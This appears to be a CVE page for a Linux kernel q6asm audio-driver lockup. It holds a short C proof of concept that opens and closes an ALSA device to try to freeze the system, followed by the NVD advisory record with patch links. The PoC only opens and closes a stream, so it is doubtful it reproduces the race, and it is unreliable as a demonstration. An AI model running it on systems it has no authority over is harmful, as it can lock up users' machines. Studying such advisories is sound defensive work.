CVE-2026-43204

#include <alsa/asoundlib.h> #include <stdlib.h> // PoC for CVE-2026-43204: Triggering lockup in q6asm // This code attempts to reproduce the condition where DSP responses // are handled after a stream is closed. int main() { snd_pcm_t *pcm_handle; snd_pcm_hw_params_t *hw_params; int err; // Open PCM device for playback (0,0 usually targets the specific platform) if ((err = snd_pcm_open(&pcm_handle, "hw:0,0", SND_PCM_STREAM_PLAYBACK, 0)) < 0) { fprintf(stderr, "Cannot open audio device: %s\n", snd_strerror(err)); exit(1); } // Allocate hardware parameters object snd_pcm_hw_params_alloca(&hw_params); // Initialize with default values if ((err = snd_pcm_hw_params_any(pcm_handle, hw_params)) < 0) { fprintf(stderr, "Cannot initialize hardware parameter structure: %s\n", snd_strerror(err)); exit(1); } // Set access type and sample format if ((err = snd_pcm_hw_params_set_access(pcm_handle, hw_params, SND_PCM_ACCESS_RW_INTERLEAVED)) < 0) { fprintf(stderr, "Cannot set access type: %s\n", snd_strerror(err)); exit(1); } if ((err = snd_pcm_hw_params_set_format(pcm_handle, hw_params, SND_PCM_FORMAT_S16_LE)) < 0) { fprintf(stderr, "Cannot set sample format: %s\n", snd_strerror(err)); exit(1); } // Set parameters if ((err = snd_pcm_hw_params(pcm_handle, hw_params)) < 0) { fprintf(stderr, "Cannot set parameters: %s\n", snd_strerror(err)); exit(1); } printf("Stream opened. Preparing to trigger vulnerability...\n"); // Simulate activity that generates DSP responses // The vulnerability occurs when the stream is closed while DSP might still be responding // Close the stream immediately or under specific timing conditions // The driver should drop responses, but the bug causes it to process them, leading to a lockup. snd_pcm_close(pcm_handle); printf("Stream closed. If vulnerable, the system may lockup now.\n"); return 0; }

{"cve": {"id": "CVE-2026-43204", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2026-05-06T12:16:39.623", "lastModified": "2026-05-11T20:06:22.667", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nASoC: qcom: q6asm: drop DSP responses for closed data streams\n\n'Commit a354f030dbce (\"ASoC: qcom: q6asm: handle the responses\nafter closing\")' attempted to ignore DSP responses arriving\nafter a stream had been closed.\n\nHowever, those responses were still handled, causing lockups.\n\nFix this by unconditionally dropping all DSP responses associated with\nclosed data streams."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "NVD-CWE-noinfo"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.18", "versionEndExcluding": "6.19.6", "matchCriteriaId": "3F171404-207A-46FA-9F81-038AD7546760"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/3249251eac6081d5169ba09f2d9cca66ab0cab0d", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8a066a81ee0c1b6cdbd81393536c3b2d19ccef25", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}]}}